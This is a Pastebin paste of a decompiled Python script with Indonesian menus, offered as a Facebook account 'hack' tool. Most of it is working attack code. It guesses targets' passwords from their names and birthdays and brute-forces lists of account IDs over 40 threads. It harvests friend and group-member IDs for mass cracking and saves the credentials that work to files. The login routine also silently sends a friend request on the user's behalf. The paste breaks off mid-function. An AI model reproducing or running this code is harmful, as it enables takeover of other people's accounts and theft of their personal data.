SHARE
TWEET

runfbdark

Llg- Jun 17th, 2019 (edited) 51 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Decompiled by Llg
  2.  
  3. import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize
  4. from multiprocessing.pool import ThreadPool
  5.  
  6. from requests.exceptions import ConnectionError
  7. from mechanize import Browser
  8. reload(sys)
  9. sys.setdefaultencoding('utf8')
  10. br = mechanize.Browser()
  11. br.set_handle_robots(False)
  12. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  13. br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')]
  14.  
  15. def keluar():
  16.     print '\x1b[1;91m[!] Keluar'
  17.     os.sys.exit()
  18.  
  19.  
  20. def jalan(z):
  21.     for e in z + '\n':
  22.         sys.stdout.write(e)
  23.         sys.stdout.flush()
  24.         time.sleep(0.01)
  25.  
  26.  
  27. logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80   \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4   \xe2\x95\x9a  \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.6b\n\x1b[1;93m* \x1b[1;97mAuthor  \x1b[1;91m: \x1b[1;96mLlg-\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mLlg- Cyber T3AM\x1b[1;97m[\x1b[1;96m\x1b[1;97m] \x1b[1;97m/ \x1b[1;96mGUNAKAN DENGAN BIJAK \x1b[1;97m/ \x1b[1;96mLlg-\n\x1b[1;93m* \x1b[1;97mGitHub  \x1b[1;91m: \x1b[1;92m\x1b[4mhttps://github.com/lynggo\x1b[0m\n[*] Decompiled by Llg-\n'
  28.  
  29. def tik():
  30.     titik = [
  31.      '.   ', '..  ', '... ']
  32.     for o in titik:
  33.         print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk COK \x1b[1;97m' + o,
  34.         sys.stdout.flush()
  35.         time.sleep(1)
  36.  
  37.  
  38. back = 0
  39. threads = []
  40. berhasil = []
  41. cekpoint = []
  42. gagal = []
  43. idteman = []
  44. idfromteman = []
  45. idmem = []
  46. id = []
  47. em = []
  48. emfromteman = []
  49. hp = []
  50. hpfromteman = []
  51. reaksi = []
  52. reaksigrup = []
  53. komen = []
  54. komengrup = []
  55. listgrup = []
  56. vulnot = '\x1b[31mNot Vuln'
  57. vuln = '\x1b[32mVuln'
  58.  
  59.  
  60. def login():
  61.     os.system('clear')
  62.     try:
  63.         toket = open('login.txt', 'r')
  64.         menu()
  65.     except (KeyError, IOError):
  66.         os.system('clear')
  67.         print logo
  68.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  69.         print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK AKUN FB \x1b[1;91m[\xe2\x98\x86]'
  70.         id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername FB \x1b[1;91m:\x1b[1;92m ')
  71.         pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword FB \x1b[1;91m:\x1b[1;92m ')
  72.         tik()
  73.         try:
  74.             br.open('https://m.facebook.com')
  75.         except mechanize.URLError:
  76.             print '\n\x1b[1;91m[!] Tidak ada koneksi'
  77.             keluar()
  78.  
  79.         br._factory.is_html = True
  80.         br.select_form(nr=0)
  81.         br.form['email'] = id
  82.         br.form['pass'] = pwd
  83.         br.submit()
  84.         url = br.geturl()
  85.         if 'save-device' in url:
  86.             try:
  87.                 sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32'
  88.                 data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'}
  89.                 x = hashlib.new('md5')
  90.                 x.update(sig)
  91.                 a = x.hexdigest()
  92.                 data.update({'sig': a})
  93.                 url = 'https://api.facebook.com/restserver.php'
  94.                 r = requests.get(url, params=data)
  95.                 z = json.loads(r.text)
  96.                 zedd = open('login.txt', 'w')
  97.                 zedd.write(z['access_token'])
  98.                 zedd.close()
  99.                 print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil'
  100.                 requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token'])
  101.                 os.system('xdg-open https://youtube.com/NjankSoekamti')
  102.                 time.sleep(2)
  103.                 menu()
  104.             except requests.exceptions.ConnectionError:
  105.                 print '\n\x1b[1;91m[!] Tidak ada koneksi'
  106.                 keluar()
  107.  
  108.         if 'checkpoint' in url:
  109.             print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  110.             os.system('rm -rf login.txt')
  111.             time.sleep(1)
  112.             keluar()
  113.         else:
  114.             print '\n\x1b[1;91m[!] Login Gagal'
  115.             os.system('rm -rf login.txt')
  116.             time.sleep(1)
  117.             login()
  118.  
  119.  
  120. def menu():
  121.     os.system('clear')
  122.     try:
  123.         toket = open('login.txt', 'r').read()
  124.     except IOError:
  125.         os.system('clear')
  126.         print '\x1b[1;91m[!] Token tidak ditemukan'
  127.         os.system('rm -rf login.txt')
  128.         time.sleep(1)
  129.         login()
  130.     else:
  131.         try:
  132.             otw = requests.get('https://graph.facebook.com/me?access_token=' + toket)
  133.             a = json.loads(otw.text)
  134.             nama = a['name']
  135.             id = a['id']
  136.         except KeyError:
  137.             os.system('clear')
  138.             print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint'
  139.             os.system('rm -rf login.txt')
  140.             time.sleep(1)
  141.             login()
  142.         except requests.exceptions.ConnectionError:
  143.             print '\x1b[1;91m[!] Tidak ada koneksi'
  144.             keluar()
  145.  
  146.     os.system('clear')
  147.     print logo
  148.     print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90'
  149.     print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama
  150.     print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90'
  151.     print '\x1b[1;37;40m1. Informasi Pengguna'
  152.     print '\x1b[1;37;40m2. Hack Akun Facebook'
  153.     print '\x1b[1;37;40m3. Bot               '
  154.     print '\x1b[1;37;40m4. Lainnya....       '
  155.     print '\x1b[1;37;40m5. LogOut            '
  156.     print '\x1b[1;31;40m0. Keluar            '
  157.     print
  158.     pilih()
  159.  
  160.  
  161. def pilih():
  162.     zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  163.     if zedd == '':
  164.         print '\x1b[1;91m[!] Jangan kosong'
  165.         pilih()
  166.     else:
  167.         if zedd == '1':
  168.             informasi()
  169.         else:
  170.             if zedd == '2':
  171.                 menu_hack()
  172.             else:
  173.                 if zedd == '3':
  174.                     menu_bot()
  175.                 else:
  176.                     if zedd == '4':
  177.                         lain()
  178.                     else:
  179.                         if zedd == '5':
  180.                             os.system('rm -rf login.txt')
  181.                             os.system('xdg-open https://www.youtube.com/nganunymous')
  182.                             keluar()
  183.                         else:
  184.                             if zedd == '0':
  185.                                 keluar()
  186.                             else:
  187.                                 print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada'
  188.                                 pilih()
  189.  
  190.  
  191. def informasi():
  192.     os.system('clear')
  193.     try:
  194.         toket = open('login.txt', 'r').read()
  195.     except IOError:
  196.         print '\x1b[1;91m[!] Token tidak ditemukan'
  197.         os.system('rm -rf login.txt')
  198.         time.sleep(1)
  199.         login()
  200.  
  201.     os.system('clear')
  202.     print logo
  203.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  204.     id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m')
  205.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  206.     r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  207.     cok = json.loads(r.text)
  208.     for p in cok['data']:
  209.         if id in p['name'] or id in p['id']:
  210.             r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket)
  211.             z = json.loads(r.text)
  212.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  213.             try:
  214.                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m          : ' + z['name']
  215.             except KeyError:
  216.                 print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m          : \x1b[1;91mTidak ada'
  217.             else:
  218.                 try:
  219.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m            : ' + z['id']
  220.                 except KeyError:
  221.                     print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m            : \x1b[1;91mTidak ada'
  222.                 else:
  223.                     try:
  224.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m         : ' + z['email']
  225.                     except KeyError:
  226.                         print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m         : \x1b[1;91mTidak ada'
  227.                     else:
  228.                         try:
  229.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m      : ' + z['mobile_phone']
  230.                         except KeyError:
  231.                             print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m      : \x1b[1;91mTidak ada'
  232.  
  233.                         try:
  234.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m        : ' + z['location']['name']
  235.                         except KeyError:
  236.                             print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m        : \x1b[1;91mTidak ada'
  237.  
  238.                     try:
  239.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday']
  240.                     except KeyError:
  241.                         print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada'
  242.  
  243.                 try:
  244.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m       : '
  245.                     for q in z['education']:
  246.                         try:
  247.                             print '\x1b[1;91m                   ~ \x1b[1;97m' + q['school']['name']
  248.                         except KeyError:
  249.                             print '\x1b[1;91m                   ~ \x1b[1;91mTidak ada'
  250.  
  251.                 except KeyError:
  252.                     pass
  253.  
  254.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  255.             menu()
  256.     else:
  257.         print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan'
  258.         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  259.         menu()
  260.  
  261.  
  262. def menu_hack():
  263.     os.system('clear')
  264.     try:
  265.         toket = open('login.txt', 'r').read()
  266.     except IOError:
  267.         print '\x1b[1;91m[!] Token tidak ditemukan'
  268.         os.system('rm -rf login.txt')
  269.         time.sleep(1)
  270.         login()
  271.  
  272.     os.system('clear')
  273.     print logo
  274.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  275.     print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)'
  276.     print '\x1b[1;37;40m2. Multi Bruteforce Facebook'
  277.     print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook'
  278.     print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)'
  279.     print '\x1b[1;37;40m5. Yahoo Checker'
  280.     print '\x1b[1;37;40m6. Ambil id/email/hp'
  281.     print '\x1b[1;31;40m0. Kembali'
  282.     print
  283.     hack_pilih()
  284.  
  285.  
  286. def hack_pilih():
  287.     hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  288.     if hack == '':
  289.         print '\x1b[1;91m[!] Jangan kosong'
  290.         hack_pilih()
  291.     else:
  292.         if hack == '1':
  293.             mini()
  294.         else:
  295.             if hack == '2':
  296.                 crack()
  297.                 hasil()
  298.             else:
  299.                 if hack == '3':
  300.                     super()
  301.                 else:
  302.                     if hack == '4':
  303.                         brute()
  304.                     else:
  305.                         if hack == '5':
  306.                             menu_yahoo()
  307.                         else:
  308.                             if hack == '6':
  309.                                 grab()
  310.                             else:
  311.                                 if hack == '0':
  312.                                     menu()
  313.                                 else:
  314.                                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada'
  315.                                     hack_pilih()
  316.  
  317.  
  318. def mini():
  319.     os.system('clear')
  320.     try:
  321.         toket = open('login.txt', 'r').read()
  322.     except IOError:
  323.         print '\x1b[1;91m[!] Token tidak ditemukan'
  324.         os.system('rm -rf login.txt')
  325.         time.sleep(1)
  326.         login()
  327.     else:
  328.         os.system('clear')
  329.         print logo
  330.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  331.         print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !'
  332.         try:
  333.             id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ')
  334.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  335.             r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket)
  336.             a = json.loads(r.text)
  337.             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name']
  338.             jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...')
  339.             time.sleep(2)
  340.             jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...')
  341.             time.sleep(2)
  342.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...')
  343.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  344.             pz1 = a['first_name'] + '123'
  345.             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  346.             y = json.load(data)
  347.             if 'access_token' in y:
  348.                 print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  349.                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  350.                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  351.                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
  352.                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  353.                 menu_hack()
  354.             else:
  355.                 if 'www.facebook.com' in y['error_msg']:
  356.                     print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  357.                     print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  358.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  359.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  360.                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1
  361.                     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  362.                     menu_hack()
  363.                 else:
  364.                     pz2 = a['first_name'] + '12345'
  365.                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  366.                     y = json.load(data)
  367.                     if 'access_token' in y:
  368.                         print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  369.                         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  370.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  371.                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
  372.                         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  373.                         menu_hack()
  374.                     else:
  375.                         if 'www.facebook.com' in y['error_msg']:
  376.                             print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  377.                             print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  378.                             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  379.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  380.                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2
  381.                             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  382.                             menu_hack()
  383.                         else:
  384.                             pz3 = a['last_name'] + '123'
  385.                             data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  386.                             y = json.load(data)
  387.                             if 'access_token' in y:
  388.                                 print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  389.                                 print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  390.                                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  391.                                 print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
  392.                                 raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  393.                                 menu_hack()
  394.                             else:
  395.                                 if 'www.facebook.com' in y['error_msg']:
  396.                                     print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  397.                                     print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  398.                                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  399.                                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  400.                                     print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3
  401.                                     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  402.                                     menu_hack()
  403.                                 else:
  404.                                     lahir = a['birthday']
  405.                                     pz4 = lahir.replace('/', '')
  406.                                     data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
  407.                                     y = json.load(data)
  408.                                     if 'access_token' in y:
  409.                                         print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  410.                                         print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  411.                                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  412.                                         print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
  413.                                         raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  414.                                         menu_hack()
  415.                                     else:
  416.                                         if 'www.facebook.com' in y['error_msg']:
  417.                                             print '\x1b[1;91m[+] \x1b[1;92mDitemukan.'
  418.                                             print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint'
  419.                                             print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m     : ' + a['name']
  420.                                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id
  421.                                             print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4
  422.                                             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  423.                                             menu_hack()
  424.                                         else:
  425.                                             print '\x1b[1;91m[!] Maaf, gagal membuka password target :('
  426.                                             print '\x1b[1;91m[!] Cobalah dengan cara lain.'
  427.                                             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  428.                                             menu_hack()
  429.         except KeyError:
  430.             print '\x1b[1;91m[!] Terget tidak ditemukan'
  431.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  432.             menu_hack()
  433.  
  434.  
  435. def crack():
  436.     global file
  437.     global idlist
  438.     global passw
  439.     os.system('clear')
  440.     try:
  441.         toket = open('login.txt', 'r').read()
  442.     except IOError:
  443.         print '\x1b[1;91m[!] Token tidak ditemukan'
  444.         os.system('rm -rf login.txt')
  445.         time.sleep(1)
  446.         login()
  447.     else:
  448.         os.system('clear')
  449.         print logo
  450.         print 40 * '\x1b[1;97m\xe2\x95\x90'
  451.         idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID  \x1b[1;91m: \x1b[1;97m')
  452.         passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m')
  453.         try:
  454.             file = open(idlist, 'r')
  455.             jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  456.             for x in range(40):
  457.                 zedd = threading.Thread(target=scrak, args=())
  458.                 zedd.start()
  459.                 threads.append(zedd)
  460.  
  461.             for zedd in threads:
  462.                 zedd.join()
  463.  
  464.         except IOError:
  465.             print '\x1b[1;91m[!] File tidak ditemukan'
  466.             raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  467.             menu_hack()
  468.  
  469.  
  470. def scrak():
  471.     global back
  472.     global berhasil
  473.     global cekpoint
  474.     global gagal
  475.     global up
  476.     try:
  477.         buka = open(idlist, 'r')
  478.         up = buka.read().split()
  479.         while file:
  480.             username = file.readline().strip()
  481.             url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6'
  482.             data = urllib.urlopen(url)
  483.             mpsh = json.load(data)
  484.             if back == len(up):
  485.                 break
  486.             if 'access_token' in mpsh:
  487.                 bisa = open('Berhasil.txt', 'w')
  488.                 bisa.write(username + ' | ' + passw + '\n')
  489.                 bisa.close()
  490.                 berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw)
  491.                 back += 1
  492.             else:
  493.                 if 'www.facebook.com' in mpsh['error_msg']:
  494.                     cek = open('Cekpoint.txt', 'w')
  495.                     cek.write(username + ' | ' + passw + '\n')
  496.                     cek.close()
  497.                     cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw)
  498.                     back += 1
  499.                 else:
  500.                     gagal.append(username)
  501.                     back += 1
  502.             sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack    \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint)))
  503.             sys.stdout.flush()
  504.  
  505.     except IOError:
  506.         print '\n\x1b[1;91m[!] Koneksi terganggu'
  507.         time.sleep(1)
  508.     except requests.exceptions.ConnectionError:
  509.         print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi'
  510.  
  511.  
  512. def hasil():
  513.     print
  514.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  515.     for b in berhasil:
  516.         print b
  517.  
  518.     for c in cekpoint:
  519.         print c
  520.  
  521.     print
  522.     print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal))
  523.     keluar()
  524.  
  525.  
  526. def super():
  527.     global toket
  528.     os.system('clear')
  529.     try:
  530.         toket = open('login.txt', 'r').read()
  531.     except IOError:
  532.         print '\x1b[1;91m[!] Token tidak ditemukan'
  533.         os.system('rm -rf login.txt')
  534.         time.sleep(1)
  535.         login()
  536.  
  537.     os.system('clear')
  538.     print logo
  539.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  540.     print '\x1b[1;37;40m1. Crack dari daftar Teman'
  541.     print '\x1b[1;37;40m2. Crack dari member Grup'
  542.     print '\x1b[1;31;40m0. Kembali'
  543.     print
  544.     pilih_super()
  545.  
  546.  
  547. def pilih_super():
  548.     peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ')
  549.     if peak == '':
  550.         print '\x1b[1;91m[!] Jangan kosong'
  551.         pilih_super()
  552.     else:
  553.         if peak == '1':
  554.             os.system('clear')
  555.             print logo
  556.             print 40 * '\x1b[1;97m\xe2\x95\x90'
  557.             jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...')
  558.             r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
  559.             z = json.loads(r.text)
  560.             for s in z['data']:
  561.                 id.append(s['id'])
  562.  
  563.         else:
  564.             if peak == '2':
  565.                 os.system('clear')
  566.                 print logo
  567.                 print 40 * '\x1b[1;97m\xe2\x95\x90'
  568.                 idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup   \x1b[1;91m:\x1b[1;97m ')
  569.                 try:
  570.                     r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket)
  571.                     asw = json.loads(r.text)
  572.                     print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name']
  573.                 except KeyError:
  574.                     print '\x1b[1;91m[!] Grup tidak ditemukan'
  575.                     raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]')
  576.                     super()
  577.  
  578.                 re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket)
  579.                 s = json.loads(re.text)
  580.                 for i in s['data']:
  581.                     id.append(i['id'])
  582.  
  583.             else:
  584.                 if peak == '0':
  585.                     menu_hack()
  586.                 else:
  587.                     print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada'
  588.                     pilih_super()
  589.     print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id))
  590.     jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...')
  591.     titik = ['.   ', '..  ', '... ']
  592.     for o in titik:
  593.         print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o,
  594.         sys.stdout.flush()
  595.         time.sleep(1)
  596.  
  597.     print
  598.     print 40 * '\x1b[1;97m\xe2\x95\x90'
  599.  
  600.     def main(arg):
  601.         user = arg
  602.         try:
  603.             a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
  604.             b = json.loads(a.text)
  605.             pass1 = b['first_name'] + '123'
